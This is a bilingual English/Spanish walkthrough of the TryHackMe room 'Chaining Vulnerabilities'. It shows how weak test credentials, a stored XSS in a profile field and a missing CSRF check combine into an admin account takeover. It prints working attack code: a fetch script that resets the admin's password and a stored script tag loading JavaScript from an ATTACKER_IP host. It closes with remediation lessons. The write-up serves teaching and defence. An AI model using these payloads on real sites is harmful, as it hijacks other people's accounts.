Chaining Vulnerabilities
Executive summary — Chaining Vulnerabilities is a TryHackMe room built around the art of chaining vulnerabilities: weak credentials open the door, a Stored XSS in the user profile lets us inject JavaScript, and the absence of CSRF protection means that script —executed in the administrator's browser— resets their credentials. The result is a full account takeover of the admin panel.
| Platform | TryHackMe |
| Operating system | Linux / PHP |
| Difficulty | Easy |
| Room | Chaining Vulnerabilities |
| Target IP | 10.10.177.6 |
Attack map
[Login] weak credentials testuser:password123
│ access as a low-privilege user
▼
[Edit Profile] «Display Name» field → Stored XSS
│ inject <script src=...> that loads a malicious JS
▼
[Attacker HTTP server] script.js → POST to /update_email.php (CSRF)
│ the admin's browser runs the stored XSS
▼
[CSRF] admin email + password get reset → admin:pwnedadmin
▼
[Admin Panel] log in as admin → flag1. Initial access — weak credentials
The application lives at http://10.10.177.6/ and presents a Login form. The first link in the chain is the humblest: a test account left behind by oversight, with a trivial password.
# Open the application in your browser:
http://10.10.177.6/
# Test (default) credentials:
Username: testuser
Password: password123Result: we log in as a low-privilege user. Not much on its own, but it's the foothold we need to reach the profile features.
Why it matters: a weak or default credential rarely grants direct access to anything critical, but it almost always opens the first door. In a chain, that minimal access is what enables everything else.
Resumen ejecutivo — Chaining Vulnerabilities es un room de TryHackMe centrado en el arte de encadenar vulnerabilidades: unas credenciales débiles abren la puerta, un Stored XSS en el perfil de usuario permite inyectar JavaScript, y la ausencia de protección CSRF hace que ese script —ejecutado en el navegador del administrador— resetee sus credenciales. El resultado es un account takeover completo del panel de administración.
| Plataforma | TryHackMe |
| Sistema operativo | Linux / PHP |
| Dificultad | Easy |
| Room | Chaining Vulnerabilities |
| IP objetivo | 10.10.177.6 |
Mapa del ataque
[Login] credenciales débiles testuser:password123
│ acceso como usuario de bajo privilegio
▼
[Editar perfil] campo «Display Name» → Stored XSS
│ se inyecta <script src=...> que carga un JS malicioso
▼
[Servidor del atacante] script.js → POST a /update_email.php (CSRF)
│ el navegador del admin ejecuta el XSS almacenado
▼
[CSRF] se resetean email + password del admin → admin:pwnedadmin
▼
[Admin Panel] login como admin → flag1. Acceso inicial — credenciales débiles
La aplicación vive en http://10.10.177.6/ y presenta un formulario de Login. El primer eslabón de la cadena es el más humilde: una cuenta de prueba dejada por descuido con una contraseña trivial.
# Abrir la aplicación en el navegador:
http://10.10.177.6/
# Credenciales de prueba (por defecto):
Username: testuser
Password: password123Resultado: entramos como un usuario de bajo privilegio. No es gran cosa por sí solo, pero es el punto de apoyo que necesitamos para llegar a las funciones de perfil.
Por qué importa: una credencial débil o por defecto rara vez da acceso directo a lo crítico, pero casi siempre abre la primera puerta. En una cadena, ese acceso mínimo es lo que habilita el resto.
2. Discovering the Stored XSS
Once authenticated, we explore the user features and find Edit Profile. We try the classic detection payload in the Display Name field:
<script>alert(1)</script>After saving and reloading, the alert(1) fires: the field reflects and stores the input unsanitized. This is a Stored XSS (persistent): the code is saved server-side and runs in the browser of anyone who views that profile.
Why a Stored XSS is so powerful: unlike reflected XSS, there's no need to trick the victim with a link. The payload is persisted and fires by itself the moment the victim —say, an administrator reviewing profiles— opens the affected page.
3. Building the XSS + CSRF chain
The real target is the Admin Panel. The idea: use the stored XSS so that, when the administrator visits the profile, their own browser issues a request that changes the admin credentials. Since the application doesn't protect /update_email.php with anti-CSRF tokens, that request will be accepted using the admin's valid session.
3.1. Prepare the malicious script
On the attacker machine we create script.js. It sends a POST to /update_email.php with credentials: 'include' so the browser attaches the admin's session cookie:
// script.js
fetch('/update_email.php', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type':'application/x-www-form-urlencoded'},
body: 'email=pwnedadmin@evil.local&password=pwnedadmin'
});The key to the CSRF: credentials: 'include' makes the request travel with the victim domain's cookies. If the server doesn't validate a CSRF token or check the origin, it can't tell this forged request apart from a legitimate one made by the administrator.3.2. Host the script
We spin up a simple HTTP server on the attacker machine to serve script.js:
python3 -m http.server 80003.3. Inject the loader into the profile
We go back to Edit Profile and replace the Display Name with a <script> tag that loads our remote JS:
<script src="http://ATTACKER_IP:8000/script.js"></script>ReplaceATTACKER_IPwith your AttackBox's IP. The profile now stores a loader that will fetch and runscript.jsin the browser of whoever opens it.
4. Firing the attack and waiting for the admin
The chain is set; we just need the administrator to view the profile. We watch our server logs to confirm the exact moment their browser requests the script:
# Watch for the admin's request for script.js
tail -f access.logWhen this line appears, the guard has glanced through the window:
10.10.177.6 - - [18/Sep/2025 00:05:12] "GET /script.js HTTP/1.1" 200 -That request (originating from 10.10.177.6, the victim itself) confirms the Stored XSS executed in the admin's browser, which in turn fired the CSRF POST against /update_email.php. The administrator's credentials are reset to pwnedadmin.
5. Taking over the admin panel
With the admin credentials overwritten, we return to the login and sign in as administrator:
# Browser:
http://10.10.177.6/
# Login form:
Username: admin
Password: pwnedadminThe admin panel opens and the flag is revealed inside.
Q: What is the flag in the admin panel?
A: THM{57648b8e-3382-****-****-f125e128f8ab}
Q: What vulnerability enabled the attacker to force a change in the admin user's password?
A: Cross-Site Scripting (Stored XSS)
6. Alternate paths and pivoting
Real journeys fork. Had /update_email.php carried CSRF tokens, the same XSS could have been used to steal the administrator's session cookie or to trick them into other actions from their own session. Creative pivoting ensures no single roadblock ends the adventure.
Technical note (general public knowledge, not specific to this room): anti-CSRF tokens only stop cross-origin forgery, where the Same-Origin Policy keeps a page on another domain from reading the token. They do not stop this exact chain: a Stored XSS already executes same-origin, so the injected script could simply read the CSRF token out of the DOM (or the cookie, if it isn't flagged HttpOnly) and attach it to its own forged request. This is why OWASP considers XSS capable of defeating CSRF defenses outright — the real fix is input sanitization and a strict Content-Security-Policy, not anti-CSRF tokens alone.Vulnerability summary
| Phase | Component | Vulnerability | Impact |
|---|---|---|---|
| Authentication | Login form | Weak / default credentials (testuser:password123) | Foothold as a low-privilege user |
| Web | Edit Profile → Display Name | Stored XSS (unsanitized input) | Arbitrary JavaScript execution in other users' browsers (incl. admin) |
| Web | /update_email.php | Missing CSRF protection (no token or origin check) | Authenticated actions forced with the victim's session |
| Chain | XSS + CSRF | Chaining → account takeover | Admin credential reset and full panel compromise |
Lessons learned
- Weak credentials: test accounts and default passwords must be removed before production; they're the first link of almost any chain.
- Sanitize all input: Stored XSS is born from reflecting and storing user data without encoding. Escape/validate output on every field, including «harmless» ones like the display name.
- CSRF protection: every state-changing action (changing email, password, etc.) must require an anti-CSRF token and/or validate the origin. Without it, an XSS turns into a credential change.
- The power of chaining: in isolation each flaw looks minor; together they form a direct path from the courtyard to the vault. Security is only as strong as its weakest link.
- Trust model: assuming «only the admin will see this» is dangerous. A stored XSS turns an administrator's glance into attacker code execution.
2. Descubrir el Stored XSS
Ya autenticados, exploramos las funciones de usuario y damos con Edit Profile. Probamos el clásico payload de detección en el campo Display Name:
<script>alert(1)</script>Al guardar y recargar, el alert(1) salta: el campo refleja y almacena la entrada sin sanitizar. Estamos ante un Stored XSS (persistente): el código se guarda en el servidor y se ejecuta en el navegador de cualquiera que vea ese perfil.
Por qué un Stored XSS es tan potente: a diferencia del XSS reflejado, no hace falta engañar a la víctima con un enlace. El payload queda persistido y se dispara solo cuando la víctima —por ejemplo, un administrador revisando perfiles— abre la página afectada.
3. Armar la cadena XSS + CSRF
El objetivo real es el Admin Panel. La idea: usar el XSS almacenado para que, cuando el administrador visite el perfil, su propio navegador ejecute una petición que cambie las credenciales de admin. Como la aplicación no protege /update_email.php con tokens anti-CSRF, esa petición se aceptará usando la sesión válida del admin.
3.1. Preparar el script malicioso
En la máquina atacante creamos script.js. Envía un POST a /update_email.php con credentials: 'include' para que el navegador adjunte la cookie de sesión del admin:
// script.js
fetch('/update_email.php', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type':'application/x-www-form-urlencoded'},
body: 'email=pwnedadmin@evil.local&password=pwnedadmin'
});La clave del CSRF: credentials: 'include' hace que la petición viaje con las cookies del dominio víctima. Si el servidor no valida un token CSRF ni comprueba el origen, no puede distinguir esta petición forjada de una legítima del administrador.3.2. Hospedar el script
Levantamos un servidor HTTP simple en la máquina atacante para servir script.js:
python3 -m http.server 80003.3. Inyectar el cargador en el perfil
Volvemos a Edit Profile y sustituimos el Display Name por una etiqueta <script> que carga nuestro JS remoto:
<script src="http://ATTACKER_IP:8000/script.js"></script>SustituyeATTACKER_IPpor la IP de tu AttackBox. Ahora el perfil almacena un cargador que traerá y ejecutaráscript.jsen el navegador de quien lo abra.
4. Disparar el ataque y esperar al administrador
La cadena está armada; solo falta que el administrador vea el perfil. Vigilamos los logs de nuestro servidor para confirmar el momento exacto en que su navegador solicita el script:
# Observar la petición del admin a script.js
tail -f access.logCuando aparece esta línea, el guardián ha mirado por la ventana:
10.10.177.6 - - [18/Sep/2025 00:05:12] "GET /script.js HTTP/1.1" 200 -Esa petición (originada desde 10.10.177.6, la propia víctima) confirma que el Stored XSS se ejecutó en el navegador del admin, que a su vez lanzó el POST CSRF contra /update_email.php. Las credenciales del administrador quedan reseteadas a pwnedadmin.
5. Toma de control del panel de administración
Con las credenciales del admin sobrescritas, volvemos al login y entramos como administrador:
# Navegador:
http://10.10.177.6/
# Formulario de login:
Username: admin
Password: pwnedadminEl panel de administración se abre y la flag aparece en su interior.
Q: ¿Cuál es la flag del panel de administración?
A: THM{57648b8e-3382-****-****-f125e128f8ab}
Q: ¿Qué vulnerabilidad permitió al atacante forzar el cambio de contraseña del admin?
A: Cross-Site Scripting (Stored XSS)
6. Rutas alternativas y pivoting
Los caminos reales se bifurcan. Si /update_email.php hubiera llevado tokens CSRF, el mismo XSS podría haberse usado para robar la cookie de sesión del administrador o para inducirle otras acciones desde su propia sesión. El pivoting creativo asegura que ningún único obstáculo cierre la aventura.
Nota técnica (conocimiento público general, no específico de este room): los tokens anti-CSRF solo detienen la falsificación de origen cruzado, donde la Same-Origin Policy impide que una página de otro dominio lea el token. No detienen esta cadena exacta: un Stored XSS ya se ejecuta en el mismo origen, así que el script inyectado podría simplemente leer el token CSRF del DOM (o de la cookie, si no lleva la marca HttpOnly) y adjuntarlo a su propia petición forjada. Por eso OWASP considera que el XSS puede anular por completo las defensas CSRF — el arreglo real es sanitizar la entrada y aplicar una Content-Security-Policy estricta, no solo tokens anti-CSRF.Resumen de vulnerabilidades
| Fase | Componente | Vulnerabilidad | Impacto |
|---|---|---|---|
| Autenticación | Formulario de Login | Credenciales débiles / por defecto (testuser:password123) | Foothold como usuario de bajo privilegio |
| Web | Edit Profile → Display Name | Stored XSS (entrada sin sanitizar) | Ejecución de JavaScript arbitrario en el navegador de otros usuarios (incl. admin) |
| Web | /update_email.php | Falta de protección CSRF (sin token ni comprobación de origen) | Acciones autenticadas forzadas con la sesión de la víctima |
| Cadena | XSS + CSRF | Encadenamiento → account takeover | Reseteo de credenciales del admin y compromiso total del panel |
Lecciones aprendidas
- Credenciales débiles: las cuentas de prueba y contraseñas por defecto deben eliminarse antes de producción; son el primer eslabón de casi cualquier cadena.
- Sanitizar toda entrada: el Stored XSS nace de reflejar y almacenar datos del usuario sin codificar. Escapa/valida la salida en todos los campos, incluidos los «inofensivos» como el nombre visible.
- Protección CSRF: toda acción que cambie estado (cambiar email, password, etc.) debe exigir un token anti-CSRF y/o validar el origen. Sin ello, un XSS se convierte en cambio de credenciales.
- El poder del encadenamiento: por separado, cada fallo parece menor; juntos forman un camino directo del patio a la bóveda. La seguridad es tan fuerte como su eslabón más débil.
- Modelo de confianza: asumir que «solo el admin verá esto» es peligroso. Un XSS almacenado convierte la mirada de un administrador en la ejecución de código del atacante.